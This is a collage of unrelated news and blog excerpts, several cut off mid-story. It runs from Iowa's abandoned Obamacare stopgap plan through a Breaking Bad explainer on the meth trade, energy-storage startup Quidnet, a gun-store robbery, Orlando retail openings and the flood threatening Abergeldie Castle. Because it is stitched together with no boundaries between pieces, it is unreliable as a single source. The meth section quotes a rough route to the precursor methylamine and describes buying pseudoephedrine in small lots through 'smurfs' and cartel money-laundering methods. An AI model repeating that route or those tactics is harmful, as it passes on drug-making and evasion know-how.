Administrators continued to talk to Iowa officials about the plan, but they didn’t commit to it. Last Thursday, they sent Ommen a letter indicating they still were considering the idea and suggesting the state would need to come up with substantially more money to make the idea work.
Reynolds said officials from the U.S. Treasury Department told Iowa last week it would be several more weeks before they could provide an estimate on the finances. She said she could wait no longer to make a decision, and so Ommen withdrew the stopgap-plan application.
Reynolds continued Monday to urge Congress to repeal and replace the Affordable Care Act with a plan that gives states flexibility to address problems in their markets. "Congress must replace Obamacare with health care reform that is affordable for everyday Iowans and empowers consumers to have high-quality health care," she said.
The Trump administration has approved waiver plans from other states, but they were not as ambitious as Iowa's, Ommen said. Those plans left more Obamacare rules in place, and would not have done much to help the Iowa situation, he said.
The U.S. Senate is considering a bipartisan bill that would give states more flexibility to alter Obamacare rules. But many experts doubt the so-called Alexander-Murray proposal could be implemented in time to affect premium rates or offerings for 2018, given that sign-ups start Nov. 1 and are slated to last only through mid-December.
Denison insurance broker Todd Thams said he doubted many Iowans could afford the new Medica premiums on individual insurance policies unless they qualify for Affordable Care Act subsidies to help pay them. Thams, who is president of the Iowa Association of Health Underwriters, said Monday that the rest should check with insurance agents about other possible options.
For self-employed people, Thams said, agents might be able to find a "small-group" policy, even if the consumer has no other employees. He added that people who work for small employers that don't provide health insurance might suggest the companies offer coverage without contributing to the premium. Such policies would not be eligible for Obamacare subsidies, but they might be cheaper than the extremely expensive individual policies Iowans will see for 2018, and their premiums would be tax-deductible, he said.
And, to be honest, I'm looking forward to getting up in the morning without feeling I have to develop an opinion about something and then publicize it. (Not that you asked, but: I just counted up my posts, and I've averaged one per weekday. And most were basically full-fledged columns, more like "pieces" than "posts"--which just goes to show that old habits die hard.) However, I have no doubt that any sense of relief will be outweighed by pangs of withdrawal. "Unique" is an overused word, but over the past year I've had the benefit of a unique station. I've had complete editorial freedom and I've benefited both from the aura of The Atlantic's age-old and carefully preserved prestige and from the power of The Atlantic's current editorial operation.
I somehow managed to keep the words "brand" and "platform" out of the previous sentence, but, yes, the shorter version is that this web site is a great platform with a great brand that afforded me great freedom, and the uniqueness lies in the fact that there's nowhere else--literally nowhere else--I could have gotten all three of these things in such great measure.
I want to say a little more about the brand and the platform. I know it's not a news flash to say that the digital age has been unkind to magazines and newspapers. And it's only slightly less obvious that the digital age hasn't been kind to magazine-like websites or newspaper-like websites. But those of us who have seen these truths unfold up close--that is, journalists who have seen the business of journalism transformed and in some aspects demolished--have an especially keen appreciation of the power of the technological logic behind them. So it seems nearly miraculous to see an enterprise like The Atlantic not just survive but flourish, staying in the black yet staying classy.
Jesse and Walt, straight chillin' in the ABQ. (AMC)
If you aren't watching "Breaking Bad" at the moment, you need to reconsider your life choices and then you need to get thee to Netflix. Each season has been much better than the one that preceded it, and if that keeps up the end of season five is poised to be something else.
But if you've made it this far, you've doubtless wondered whether the meth industry actually works as depicted on the show. Could a genius innovator like Walt really become this successful? Are charismatic businessmen like Gus Fring running front businesses to hide their meth trade? Are super labs real? Let's break down the similarities and differences, topic by topics. Mild spoilers, but I'm not going to spoil anybody's death or anything like that.
Super labs are real
A Lego rendition of the lab. (Source: http://imgur.com/a/adbru)
One of the most striking elements of "Breaking Bad" is the "super lab" that Walt and Jesse use to practice their science in seasons three and four. It's a huge, glittery chemistry wonderland full of brand new equipment and high cleanliness standards. It seems much too grandiose for the rough world of meth, right?
Wrong, actually. Experts on the meth market say that superlabs are actually pretty common, at least among manufacturers associated with Mexican cartels. "In 2002/2003, the Sinaloa cartel saw that meth was the next big thing, and started to be active in creating these super labs and making the meth in Mexico," says Sylvia Longmire, a retired Air Force captain, author of "Cartel," and consultant on Mexican drug war issues.
The United States has tight controls on the import and mass purchase of precursor materials to make meth, but they were easier to come by in Mexico, because of the country's weak justice system."Mexico has fairly strong restrictions on precursors, but there's so much corruption that restrictions don't mean a lot," Ralph Weisheit, a professor of criminal justice at Illinois State and co-author of "Methamphetamine: Its History, Pharmacology and Treatment," says.
At first, the superlabs were built in Mexico, where the precursor had been imported, and then the resulting product was smuggled into the United States. But that proved too risky, and the cartels have moved to using U.S.-based superlabs. "The biggest benefit to making it here is the distribution," Longmire says. "Getting the chemicals individually into the U.S. is less risky than bringing the final product in…It's different getting caught with that than with 10 pounds of crystal meth." So the idea of a superlab hidden in a laundry in New Mexico actually isn't all that implausible.
It's not that hard to get methylamine
Walt and Jesse roll a barrel of methylamine. Walt would probably make his angry teethface if he found out he could have just bought some ammonia and methanol and make the methylamine himself. (AMC)
This has been explained well before by Daniel Lametti at Slate, but it bears repeating. A lot of the show's drama derives from Jesse and Walt's efforts to procure methylamine, a precursor chemical. Much meth production uses pseudoephedrine, the active ingredient in some over-the-counter cold medicines like Sudafed. But restrictions of Sudafed's sale have made it difficult for meth manufacturers to get in bulk. One way to get around that is by using "smurfs," or individual Sudafed buyers who each get a small amount to avoid suspicion and then sell them to the manufacturer. But at the end of the first season, Jesse and Walt chose to switch to an alternative recipe reliant on methylamine rather than bother with getting all that Sudafed.
Getting that methylamine has been tough for them. They robbed a warehouse in "A No-Rough-Stuff Type Deal" to get some, and in the fifth season they robbed a train to get it. But that needn't be so. I'll let Lametti explain:
Chemically speaking, methylamine is just ammonia with one hydrogen atom swapped out for a methyl group—a carbon atom and three hydrogen atoms. Without getting into too much detail, an easy way to achieve this swap is to “bubble” ammonia (a gas) through methanol (a liquid) that’s been laced with a dehydrating agent like Silica gel. You could probably buy these chemicals at Home Depot and CVS. Silica gel packets are often packaged with new shoes and electronics to keep them dry. So why do Walt and Jesse steal methylamine? While making a thousand gallons of the chemical would be expensive, that cost pales in comparison to the profits generated by their business. However, buying a whole bunch of chemicals in bulk would probably attract unwanted attention. (The most likely answer, of course, is that having Walt and Jesse steal methylamine simply makes a good plot point.)
I don't really buy the idea that buying lots of ammonia and methanol would arouse more suspicion than, you know, robbing a train, so I think the "it makes for a good plot point" explanation prevails here. Still, it's a really important plot point, with much of the first half of the fifth season's drama revolving how to get it, how to divvy it up among members of the gang, etc., so it's sort of surprising that Vince Gilligan, et al never bothered to explain why they couldn't just make the methylamine themselves. Update: Here's a good rebuttal to Lametti's argument from a chemist. Who's right is above my paygrade but if Walt agreed with that guy, it's easy to see why he would want to get methylamine another way.
There are two meth markets
The meth that Teardrop (John Hawkes) snorts in Winter's Bone comes from a very different place from the meth on Breaking Bad. (Roadside Attractions)
Meth experts usually draw a distinction between two types of meth markets. One is informal, and based on meth made in small amounts, often in rural areas, and exchanged through a barter process. "That kind of production tends to be relatively nonviolent," Weisheit says. "You're not fighting over turf or meth that much, and there's not much cash trading hands as typically people are bartering — "you get this and I'll get that," or "I'll split up and you'll all get some," or " if you get these ingredients I'll teach you how to cook." The scale of that production is getting smaller and smaller as precursors get harder to come by. As Stanford med school professor Keith Humphreys points out, states that have made pseudophedrine prescription-only, such as Oregon and Mississippi, have all but eliminated their meth labs.
But its social costs, while large to the users-cum-manufacturers-cum-dealers involved, are largely contained within those social networks. The main risks to the public at large come with explosions and the ensuing environmental impact, and the costs to children in households where this kind of meth production/use is happening. "I think the bad things that home growing produces are mainly damage to environment and to families, because meth users tend not, as a rule, to use it as teens, but in their mid-20s early 30s, so they will use around kids," Weisheit says.
The Mexican market is very violent
Mexican cartel leader Don Eladio (left), drinking a shot of tequila given to him by erstwhile rival Gus Fring (right). (AMC)
And then there's the Mexican market, which is large-scale, cash-heavy, very violent because of turf disputes and disputes over money, and generally much more of a concern. This is where the heavy violence involved in Gus Fring's cartel-like operation starts looking pretty realistic. "Many viewers were repulsed when Walt and Pinkman used acid to melt a body in an early episode," Patrick Reeden Keefe, a staff writer at the New Yorker who's reported on the business models of Mexican cartels, once wrote. "But this is such a common disposal technique in Mexico today that it has acquired a nickname—the guiso, or 'stew.'"
Keefe also notes that Walt and Jesse's fear that they will be killed if someone else — say, Gale Boetticher — learns their recipe and can cook for Gus is well-founded: "A federal prosecutor in California told me recently about a case in which a group of American ecstasy producers entered negotiations with a Mexican cartel to manufacture large volumes of the drug, but ended up abandoning the deal when they realized that the cartel intended to keep them around just long enough to learn their recipe, then kill them."
And for all the messed up acts of violence that the show's depicted over the years — a certain incident with a box cutter comes to mind, not to mention Tortuga — as Keefe says, there's no topping what Mexican cartels are capable of. The cartel with the most grotesque methods is probably Los Zetas, which once dumped 49 bodies off a highway in Cadereyta, killed six people — cutting out the hearts of three of them and carving "Z"s into the other three— in Cancun, and has recruited members by holding up buses, forcing passengers off, and them making them perform "gladiator fights" to the death, with the one survivor joining the ranks of Los Zetas. Luckily their leader was recently captured, but that mainly helps their rivals, Sinaloa, who aren't exactly saints themselves.
In this part of the meth market, production typically is a few steps removed from the actual cartel. "A lot of it is subcontracted out, a lot of that is so cartels can insulate themselves from identification and prosecution," Longmire says. "Sometimes it's gang leaders, sometimes friends of friends, and sometimes they have a vague idea of who they're working for, and the cartels prefer it that way, since the guys who are cooking the meth for, say, La Familia, if they're arrested they can't roll on the people they're working for." So it's probably not likely that a cook like Jesse would meet a cartel leader like Don Eladio, as he does in "Salud."
Purity matters — but maybe less so to cartels
Walt's Blue Sky recipe makes really pure meth, but does that even matter? (AMC)
One of the most convincing critiques of the show I've read came from The New Inquiry's Malcolm Harris, who argued that the show's obsession with highly pure method — supposedly Walt's calling card, and the thing that got Gus interested in buying his wares — doesn't square with the real world, in which meth is almost always "stepped on," or diluted. There isn't a market for pure meth, not because it's not better, but because of who's buying meth. "It’s a textbook case of what freshman economics students call inelastic demand," Harris writes. "As Stringer Bell told D’Angelo Barksdale in another show about drugs, in direct contrast to what Walter claims, 'When it’s good, they buy. When it’s bad, they buy twice as much. The worse we do, the more money we make.'"
Even if that logic holds, there may still be reasons for Walt to make his meth as pure as possible. "When Walt measures the purity in the lab, he’s figuring out how much of the expensive and tightly controlled precursor chemicals became saleable product and how much went to waste," Lindsay Beyerstein at In These Times has argued. "The purer Walt’s product, the more [distributors] can dilute it." But that doesn't explain why Walt's meth on the street, when found by his DEA agent brother-in-law Hank and analyzed by the agency's experts, is so much purer than other meth out there. Walt's product would only make it to the street like that if there really was demand for purer meth.
So, is there? There certainly is a certain cachet to pure meth in the smaller meth market described above. "For the local cook, the mom and pop operation, there is an enormous amount of status and prestige that goes along with producing high quality stuff," Weisheit says. "There was a researcher who did field research on this, who interviewed a woman who said, 'A cook is a god, what they want they get. If they want sex they'll get sex.'" But Weisheit agrees with Harris that it's less likely that purity will be demanded in the larger, Mexican-run market. "There's not much stepping on it in mom and pop, he says. "You get stepping on it with Mexican distribution networks, but even there people are going to pay more attention to stuff that's really good."
Longmire is more insistent that purity matters. "Obviously, the more pure that you can get it, the higher a price you can charge for it, and the more profit you can make off of it," she says. "There's always a market for higher quality drugs, it's just a question of who affords it." There will be bad, cheap meth, sure, but there are high-end markets for meth too. Weisheit notes that one of the few urban demographics where demand for meth is heavy is among gay men. "You probably don't see meth as a street drug, as it's so often sold in gay clubs where you don't tend to get arrested, and they're kind of out of sight from police," he says. "[Dealers] put up signs in nightclubs, so it's an easy group to reach that way." There will obviously be demand for cheap meth in that market, sure, but there will be more demand for higher-end meth than you'd see in impoverished rural areas.
Meth use is often an economic necessity
Spooge and his girlfriend are not the most enlightened characters the show ever produced. (AMC)
One of the things that annoys me about "Breaking Bad" is its occasional depiction of meth users as largely disconnected from society and utterly desperate. That's not always true. There are "functional" addicts, especially working mothers, who rely upon strong stimulants like meth to juggle their sundry responsibilities. One plausible theory has it that the rise of meth coincided with the rise of low-paying low-skilled service work, where people had to work multiple menial jobs to earn the same amount they used to earn in one manufacturing job, or other good-paying low-skilled position.
The CDC notes that some meth users rely on it to get "increased energy to work multiple jobs." Researchers at Indiana University and at the Universities of Colorado and Kentucky have found that, "The long hours and tedious work in oil fields, agriculture, construction, ancillary health care and fast food restaurants may be more tolerable on methamphetamine. Users report using meth to provide the energy to work multiple jobs or be a good mother."
Guides to identifying and treating meth addiction, like Herbert Covey's "The Methamphetamine Crisis," tell readers to look out for, "workaholics or low-income adults who use it to stay awake and perform in multiple jobs. Working low-income individuals find meth attractive because they must work several jobs or long hours to support themselves or their families. They find that higher energy and alertness (ability to stay awake for prolonged periods) helps them cope with the demands of multiple jobs."
This holds up if you look at places where meth use is highest. Hawaii's heavy rate of meth use has been attributed to its high cost of living and service-based economy. "If you're doing mind-numbing, repetitive work, this enables you to overcome both the painful tedium of the boredom as well as increase concentration and safety," Dr. William Haning, a psychiatry professor at the University of Hawaii, once told the Maui News. Weishert notes that Cambodia and other countries in Southeast Asia are the biggest consumers of meth (above even the United States), and it's often used as a work aide. "Women who have to have a job and then do traditional homemaking, they're just exhausted and meth is a pick-me-up, a powerful one," he says.
Laundering happens
A1A, a fine Albuquerque car wash. (AMC)
In the fourth season, Walt and Skyler buy the car wash — A1A, based on the real-life Octopus car wash in Albuquerque — where Walt used to work in order to launder Walt's copious earnings from the drug trade. Is that level of ceremony, just to clean the money, realistic?
For the highest echelon of cartels, sure. "You see that with the upper level people in an organization," Weisheit says. "The lower level people don't make enough to make it worth doing that. You want to get into a legitimate business, ideally one that deals in cash like a restaurant or bar." Longmire says the higher-ups may be moving on from restaurants and bars, though. "They're using wire transfer companies like Western Union, Moneygram, Coinstar — that's increasingly popular," she says. "They're increasingly using trade-based laundering, where they'll bring in cheap fabrics from Asia and sell those into the U.S., or bring them south to Mexico, and sell them for a much higher dollar value. They're doing it through mining, construction equipment, quarter horses and gambling, casinos and a variety of different businesses."
"The tin-foil-hat option"
"Allowing people to select the maximum-protection setting, known as the "tin-foil-hat option," went against Google's newer efforts to get more people to share information about themselves on the Google+ social-networking service," writes the Journal. It wasn't the only reason: reportedly, Google also "found it impossible to reduce privacy controls to so few categories."
According to the publication, Google is being more careful internally about data collection, regardless of what its privacy policy might technically allow. The Journal's sources say that Google Now, the Android service that tries to predict what you want before you ask for it using data from your email, calendar, and more, underwent an extensive legal review to ensure that it wouldn't retain information if a user deleted it from any of the individual components.
Rekha, along with cricket icon Sachin, has been under attack in Rajya Sabha for low attendance in the House. She has attended only seven sittings since she was nominated to the House two years back.Members of the House last week said the celebrities were insulting the House by not attending it.
P Rajeeve (CPI-M), while raising the issue of long- duration absence of Rekha and cricket icon Sachin Tendulkar, had wanted to know whether they have sought permission for it.
Responding to this, Deputy Chairman P J Kurien had said Rajeeve and some other members had raised the issue earlier but there was no violation of the constitutional provisions.
NCP leader D P Tripathi had said, "I like him (Sachin) very much as a cricketer and I really like Rekha as an actress but their conduct as nominated members of Rajya Sabha is despicable to say the least. By their behaviour and continued absence, they have insulted Parliament and Indian Constitution. Such people should have never been nominated to this august house. I pity those MPs who get themselves clicked with Rekha and Sachin Tendulkar."
Some other members had also expressed a desire that they felt the cricket icon should contribute more.
Shortly after his amateur amputation, 26-year-old Yang Hu had second thoughts and quickly got to a hospital in hopes of getting his sex organ reattached.
Actually "quickly" is the wrong word since he went to the hospital by riding his bicycle. To make matters worse -- as if that's possible -- he actually forgot to bring his chopped-off penis with him, requiring him to ride his bike back to the home, the Daily Star reported.
When he returned with his dismembered organ, the doctors gave him some bad news: Because Yang's penis had been without blood for too long, it would be impossible to reattach, HuffPost UK reported.
As grotesque as Yang's self-inflicted injuries may be, penis manglings are surprisingly common.
In September, Gentil Ramirez, of Gigante, Colombia, took so much Viagra (the erectile dysfunction medication) that he ended up needing surgery on his penis, which was inflamed, fractured, and infected with gangrene.
While multiple media outlets initially reported that the 66-year-old's penis was amputated, Ramirez told reporters that his manhood is still intact.
In June, police in Ypslanti, Mich., found a naked man who was bloody after ripping off a part of his penis during a drug-fueled craze.
In a field in Central Texas, Aaron Mandell and his crew are running pumping equipment to bring a former oil and gas well back to life. But they’re not trying to extract black gold. Instead, they are developing a way to turn abandoned oil and gas wells into vaults for storing electricity.
Here comes the sun: US solar power market hits all-time high Read more
The concept behind Mandell’s startup, Quidnet Energy, sounds simple: pumping water deep into the earth to fill up the cracks in-between rocks that previously held fossil fuels. When the pressurized water is released, it acts like a spring as it races through a turbine-generator above ground, powering it to produce electricity.
Mandell, co-founder and chairman of Quidnet, is part of a growing number of entrepreneurs in an emerging market to use batteries or other technologies to bank electricity when prices and demand are low, and discharge it when they are high. The US market installed 221 megawatts of energy storage projects in 2015, up from the 65 megawatts added in 2014, according to GTM Research. The market research firm expects the annual installation to exceed 1 gigawatt in 2019.
The energy storage market is growing fast primarily because of the increasing amount of solar and wind energy being produced across the country, from rooftop solar panels to acres of wind turbines. Storing solar and wind energy for later use circumvents a big disadvantage of these two types of low-carbon energy: they can’t always produce electricity whenever needed because demand fluctuates, reaching a peak in the early evening when people return home and turn on appliances or during hot summer months.
Aaron Mandell (@AaronMandell) 1/3 Modern day Edison “light bulb” test, but now powered by a grid storage battery… pic.twitter.com/OV3DV1bZRl
Utilities in states with more renewable energy are starting to pay for energy storage services or build their own. Just last week, AES Energy Storage said it will build two giant lithium-ion battery systems for San Diego Gas and Electric in California, which is the biggest solar energy state in the country.
“Our goal is to allow renewables like solar and wind to penetrate the power market at much larger percentages than we have today,” Mandell said.
Quidnet recently lined up a new round of venture capital, bringing the total amount they have raised to just over $1m. The company previously snagged a seed funding of $500,000 from Clean Energy Venture Group.
Aaron Mandell (@AaronMandell) 2/3 generator is driven by a hydro-turbine w/high pressure H20 from repeatedly “relaxing” a 2K ft deep rock fracture pic.twitter.com/on5U60eH48
Quidnet’s other investors include Will and Jada Smith Foundation and the Sorenson Impact Foundation, both of which invested through Prime, a nonprofit advising foundations that want to put money into technology, which isn’t a familiar territory for philanthropic organizations.
Quidnet’s investors are betting on what they believe will be a cheaper alternative to lithium-ion batteries, which have dominated the energy storage projects in recent years, said Daniel Goldman, co-founder and managing director at Clean Energy Venture Group, the Quidnet investor.
“We view Quidnet as solving one of the most important challenges – enabling renewable resources such as wind and solar to penetrate the market while accomplishing an important goal of maintaining grid stability,” Goldman said.
Aaron Mandell (@AaronMandell) 3/3 Decades of O&G technology being applied to the carbon-free energy grid in the form of underground pumped hydro. pic.twitter.com/j40Qadj29C
Quidnet plans to build and operate energy storage projects for power plant owners, utilities and industrial companies. The company’s technology is similar to a widely used and cheaper energy storage setup that pumps water from a dam to an upstream reservoir when electricity prices are low. During peak times when electricity is more expensive, the water is drained back down to run through a turbine to generate power.
Instead of an above-ground reservoir, Quidnet stores water underground. The company launched a pilot project this past year in Erath County, Texas, to demonstrate the concept. Mandell and his co-founder Howard Schmidt, an engineer with oil company Saudi Aramco, used an abandoned natural gas well, which runs 2,800 feet deep, into a reservoir that could hold 50k gallons of water. The project showed that after pumping water into the well for 12 hours, their technology could generate six hours of electricity.
Quidnet’s idea is so unusual that it still needs to overcome some technical challenges to make it feasible for a well-run, large scale energy storage operation. “In theory, this idea can be helpful,” said Mark Jacobson, a professor of civil and environmental engineering at Stanford University and director of its atmosphere and energy program. “The technology should work so long as the reservoir does not leak and so long as the outflow can be controlled and is fast enough.”
Choosing well-sealed underground reservoirs to prevent the pressurized water from leaking is one of Quidnet’s biggest concerns. Mandell said the pilot project recorded far lower water losses than anticipated: 1% of the water per week instead of per day.
“We were impressed with the team and ‘pumped hydro’ concept using geologic reservoirs,” said Goldman.
Next, Quidnet plans to run another pilot project, this time at an old geothermal well in northern Nevada. The well is 14 inches in diameter, larger than a typical oil and gas well, making it possible to inject a higher volume of water – and generating more power faster – at any time. The reservoir can hold up to 85k barrels of water, and produce 10 hours of electricity following a 14-hour charge.
The new pilot project will store electricity from a geothermal power plant in Nevada run by AltaRock Energy, where Mandell is also CEO. The power plant sells electricity to NV Energy, the largest utility in Nevada.
From Tesla's Powerwall to flow batteries: five facts about the energy storage revolution Read more
Nevada is a good place to be for energy storage service companies. Nevada, along with other Western states like Oregon and Idaho, recently joined the California Independent System Operator (Caiso), which manages the wholesale electricity market in the state. As part of the deal, the member states will receive excess solar energy from California, which they can store and use to provide round-the-clock clean electricity, said Mandell.
Ultimately, Quidnet hopes to build its own wells in locations with a high demand for energy storage. Each of its projects will operate up to 20 wells, with each well measuring between 1000-5000 feet deep and capable of storing 35 megawatt hours of energy. The company is also working on software to automating a storage project’s operation so that a project owner can run it remotely.
An energy storage project could be measured in watts or watt-hours, depending on what information a project owner wants to convey. The term “watts” (a megawatt is a million watts) denotes how fast power can be charged or discharged at any time. A watt-hour refers to the amount of energy that can be stored or released in a given hour.
The cost of building each well varies by depth, said Mandell, and Quidnet aims to build a project at $50 per kilowatt-hour of energy, a cost that will include the well, turbine generator, planning and securing permits. What’s not included is the cost of drilling exploratory wells to identify the proper underground geology for storing water.
Why not? Political writers relish any kind of “scathing tell all” — especially one about Sarah Palin and one that includes details like that Todd jealously scours his wife’s emails and that Sarah walks around the house in an open robe. What really gets the Daily Mail writers going, though, is the fact that, despite it all, Palin’s name manages still to be floating around the top of the pack of potential 2012 GOP presidential candidates in public opinion polls– and that is a story, at least until Donald Trump stages his phony “comeback” to the field of candidates he never really entered in the first place.
The Daily Mail headline:
‘Getting Sarah to meetings was like nailing Jell-O to a tree’: Ex Palin aide releases scathing ‘tell all’ book (and she’s top of the GOP polls)
CHESTERFIELD COUNTY, Va. -- Police are now seeking three female suspects in connection with a robbery at Southern Police Equipment Supply.
The women were seen on surveillance footage at a nearby convenience store, according to Liz Caroon with the Chesterfield Police Department.
"After leaving the convenience store, the female suspects entered a blue sedan, drove to Southern Police Equipment and picked up the two male suspects," Caroon said.
A number of handguns and rifles were stolen from Southern Police Equipment Supply early Friday morning, according to the store's owner. Karen Allan Ballengee said it appeared the thieves disabled power to her Midlothian Turnpike store, formerly known as Southern Gun World, and entered the business through the roof.
Once inside, she said, the thieves moved quickly and used a hammer to smash a handgun display case. The thieves also grabbed rifles on their way out of the store. She could not say yet just how many guns were missing.
Ballengee said she hoped store security video captured images of the theft and added she was confident police would find those responsible.
Southern Police Equipment Supply is located across the street from Virginia State Police headquarters.
The store carries "a large assortment of equipment and supplies for the Public safety professional or the general shooter: body armor, tactical equipment, chemical products, cleaning supplies, gun cases, range equipment, vehicle equipment, emergency equipment, law enforcement equipment, duty gear, knives and tools, used and new guns," according to the Southern Police Equipment Supply website.
Police said the ATF is offering a $2,500 reward, which is being matched by the National Shooting Sports Foundation. Crime Solvers is also offering a reward of up to $1,000 for information leading to an arrest. That brings the total to $6,000.
Anyone with information can call Crime Solvers at 804-748-0660.
Not just a bunch of dominoes, mind you — the Unchained Reaction teams are given identical sets of tools and materials, and a specific theme. And from the word go, they have five days to use their ingenuity, skills and imagination to construct the most impressive, most massive and theme-appropriate chain reaction sequence. Whether it involves using a refrigerator as a pendulum, building a guillotine or a flying saucer, everything is fair game.
In Sunday’s Unchained Reaction premiere, the Blecha Brothers — a team of Hollywood set builders who have worked in various art departments for television — take on Team Crash Space, a motley crew of hackers, programmers, builders and artists, in a competition with the theme of “Heavy vs. Light.”
Executive producers on Unchained Reaction, Savage and Hyneman also serve as judges in the series alongside a different guest judge each week. For the premiere, the guest judge will be Adrian Hightower, assistant professor of engineering at Harvey Mudd College in Claremont, Calif.
Craig Custance on Twitter
Kempny spent the 2015-16 season playing with Avangard Omsk of the KHL, scoring five goals and 21 points in 59 games.
The 25-year-old was an undrafted free agent who impressed the Blackhawks with his play in the world championships, where he wore an ‘A’ for the Czech Republic.
The move adds some much needed depth to Chicago’s blue line, which has relied heavily on veterans Duncan Keith, Brent Seabrook and Niklas Hjalmarsson in past seasons.
Blackhawks general manager Stan Bowman spoke to Scott Powers of The Athletic about Kempny at the world championships.
“He’s a mobile defenceman,” said Bowman. “He’s got that mixture of offence and defence. I would call him a really well-rounded guy. He can defend well in his own end. Mobility; he’s a good skater.
Possibilty of "hot/sticky" post to bring attention to selected questions over a time period. to be considered: picked by who, perhaps moderators? cybette , 15:15:45)
an algorithm that emphasizes new question votes stronger for the default view could help cybette , 15:16:10)
bijjal sends iteration plans every month to sailfish-devel mailing list - can be used as source for post selection cybette , 15:16:48)
suggestion for Jolla to send out some kind of newsletter for a DIT (do it together) spring cleaning of TJC posts cybette , 15:19:39)
They will be on Hoffner Avenue and South Goldenrod Road in Orlando, John Young Parkway and Silver Star Road in Orlando, U.S. Highway 192 and Simpson Road in Kissimmee and Orange Blossom Trail and on East Donegan Avenue in Kissimmee.
Four more stores will open shortly after that.
Cuhaci & Peterson Architects of Orlando completed the design for the 5,000-square-foot store, which should open in July.
Wawa , a Pennsylvania-based convenience store chain, is starting construction on its first Florida store across from SeaWorld at International Drive and Central Florida Parkway.
The company plans to open 100 Orlando-area stores in the next five years. Each will employ nearly 35 people.
Orlando Mayor Buddy Dyer will attend a groundbreaking event for Wawa on Wednesday.
Wawa is known for its fresh food such as built-to-order hoagies and salads.
The chain has more than 580 stores in New Jersey, Pennsylvania, Delaware, Maryland and Virginia.
Renovations
At Florida Mall, Finish Line is expanding, adding more than 1,500 square feet for a total of 6,154. It is expected to reopen early this month. Bebe is expected to reopen its remodeled store Wednesday.
In Mall at Millenia, Swarovski's remodeled store has reopened, and Victoria's Secret is expanding. Victoria's Secret moved into temporary quarters recently in the old Z Gallerie while its renovation takes place. It should finish in January. The store will add about 3,000 square feet, bringing its size to 15,000 square feet.
Goodwill Industries of Central Florida recently remodeled its store at 7531 S. Orange Blossom Trail. The renovations included expanding the sales floor.
Winn-Dixie introducesgas rewards program
Winn-Dixie Stores Inc. has brought its fuelperks! rewards program to Central Florida. Customers who spend a certain amount of money get discounts on gas at participating Shell stations. Spending at least $50 can earn you a discount of 5 cents per gallon; the discounts increase with the amount spent.
Openings, closings
The owners of The Spice and Tea Exchange in Winter Park have opened Ancient Olive across the street at 324 N. Park Ave. Ancient Olive sells balsamic vinegars and olive oils, which customers can taste before buying.
Bay Hill Jewelers has opened a store at 216 N. Park Ave. in Winter Park. Eyes & Optics also recently moved from Hannibal Square to Park Avenue.
"There's something about how we look at the past which has a kind of finality and closure to it, where life doesn't usually happen that way," she told me.
When she started receiving emails in early 2013 from an anonymous source, she could feel one of those moments suddenly enfolding around her.
"I had a sense, okay, this was going to find its way into a film or some other art project, but it was clear I was being pulled into a journey that felt a lot like, you know, a drama in terms of what he was communicating to me and the risks it was clear that were being taken."
Poitras, who would turn this moment into the opening of her new documentary Citizenfour, knew something about risk management. In 2006, she began to be stopped and searched at international borders, and soon discovered she had been placed on a US government watch list, possibly related to filming she had done in Iraq for her documentary My Country, My Country.
When she relocated to Berlin in order to protect the privacy of her work and her sources, she couldn't have known then just how extensive the surveillance system was, and how great the risks would be. But i n the Spring of 2013, after inviting Glenn Greenwald to help her report, she began speaking to lawyers in the US about further protections. She warned friends that they too may become the subject of government surveillance.
And then in June of 2013, with a new, shocking cache of files to pour over, she and Greenwald boarded a 12-hour flight to Hong Kong to finally meet her anonymous source.
Fortunately, the setting for these revelations make up the central scenes of Citizenfour: the Hong Kong hotel room where Edward Snowden, her source, would step out of anonymity, and where the biggest news story of 2013 would take shape. They are some of the most arresting, uncertain moments I've ever seen on film.
When I spoke to Poitras last month, my mind jumped immediately to those moments. They capture a central, entangled set of themes that drive Citizenfour: not only the tenseness of Snowden's decision, but also the work of the journalists trying to make sense of it, and the work of Poitras herself, who managed to keep her camera rolling for almost the entire time. She was not merely an observer but, given her intimacy with Snowden and the surveillance that had already targeted her, a central player.
"It was sort of like being in freefall," she said.
Listen to our conversation, and find a theater playing the film near you. You can also check out my profile of Poitras, read Lucy Teitler's review of the film and other recent documentaries about leaks, and see our archive of stories on surveillance.
Genthe was fascinated by Chinatown and took hundreds of photographs of the area and its inhabitants. He used a small camera and sometimes captured his subjects covertly. He later cropped some of his images to remove western references.
These images are some of the few that remain of Chinatown prior to the San Francisco earthquake of 1906. Stored in a bank vault, Genthe's photos had survived the disaster.
John Gordon, the 21st Baron of Abergeldie, left his Aberdeenshire tower house after the River Dee swept away around 60ft of land to its rear, leaving only 5ft between his back door and the raging waters.
It is understood that he and his wife decided to evacuate their 450-year-old home when they heard a wall in their garden collapse into river as the adjacent embankment was ripped away by the torrent.
The laird, who is a friend of the Queen and rents out a portion of his 11,700-acre sporting estate to the Royal Family for shooting and fishing, took refuge with a neighbour then moved into another house on his estate as he waited to see whether his home survived continuing heavy rain.
Structural engineers were called in to assess the damage and concluded that no more land had been ripped away overnight. However, concerns remained that the four-storey home, which is two miles from the Queen’s Balmoral estate, could yet fall into the river.
One neighbour said Abergeldie Castle had been left “teetering on the brink” and claimed it would be a “national tragedy” if the mid-16th century, class A -listed building was lost to the Dee, which last week burst its banks and flooded nearby Ballater.
The Royal Family rented Abergeldie Castle between 1848 and 1970 and two years later Mr Gordon moved into his ancient family home. He was yesterday too upset to speak about the damage wrought by the floods but is understood to have told friends he has “never seen anything like it.”
Photo: Newsline Media
Gordon Fraser, a neighbour who initially gave the laird refuge, told the Sunday Mail: “He left the castle when the river was at its height. It swept the embankment away.
“It moved a 60ft lump of ground and took a lot of big mature trees as well.”
Another neighbour said: "When the waters came up he had to get out quickly. The castle is teetering on the brink. God knows what will happen if the Dee rises any further.
"The castle is in imminent danger and John is at his wits' end. It's not only a home. It's the heritage, the history. Nothing can be done while the river is in spate like it is. It's just thundering down. The river is right at the back door.”
However, a friend of Mr Gordon said: “It’s a very sad day for them but they recognise the most important thing is that no one has been hurt or worse.”
John Swinney defended cutting the budget of the government agency that tackles flooding as it warned that heavy rain could lead to rivers bursting their banks for the second time in a week.
The Deputy First Minister did not deny that he plans to cut the budget of the Scottish Environment Protection Agency (Sepa) for the coming year by £2.4 million or six per cent.
But he insisted the cuts would not compromise flood prevention efforts as hundreds of households in North East Scotland prepared for more flooding.
Further rain was forecast with amber weather warnings in place, primarily affecting Grampian, Angus, Perth and Kinross, and the eastern fringes of Stirlingshire.
Sepa said persistent rain meant several rivers in Aberdeenshire, Angus and Tayside would continue to rise last night and would peak overnight or Monday morning. These were expected to remain high for some time but the “vast majority” were not expected to reach the levels seen by Storm Frank last week.
